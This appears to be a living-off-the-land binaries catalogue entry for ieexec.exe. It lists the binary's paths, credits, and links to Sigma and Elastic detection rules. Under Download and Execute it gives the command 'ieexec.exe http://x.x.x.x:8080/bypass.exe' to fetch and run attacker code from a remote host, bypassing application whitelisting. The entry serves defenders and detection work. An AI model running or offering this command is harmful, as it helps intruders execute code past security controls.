.. /Ieexec.exe

Star

Paths:

• C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
• C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe

Resources:

• https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

Acknowledgements:

• Casey Smith (@subtee)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml
• Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
• Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
• Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
• IOC: Network connections originating from ieexec.exe may be suspicious

Download

1. Downloads and executes bypass.exe from the remote server.

   ieexec.exe http://x.x.x.x:8080/bypass.exe

   Use case

   Download and run attacker code from remote location

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

   ATT&CK® technique

   T1105

Execute

1. Downloads and executes bypass.exe from the remote server.

   ieexec.exe http://x.x.x.x:8080/bypass.exe

   Use case

   Download and run attacker code from remote location

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

   ATT&CK® technique

   T1218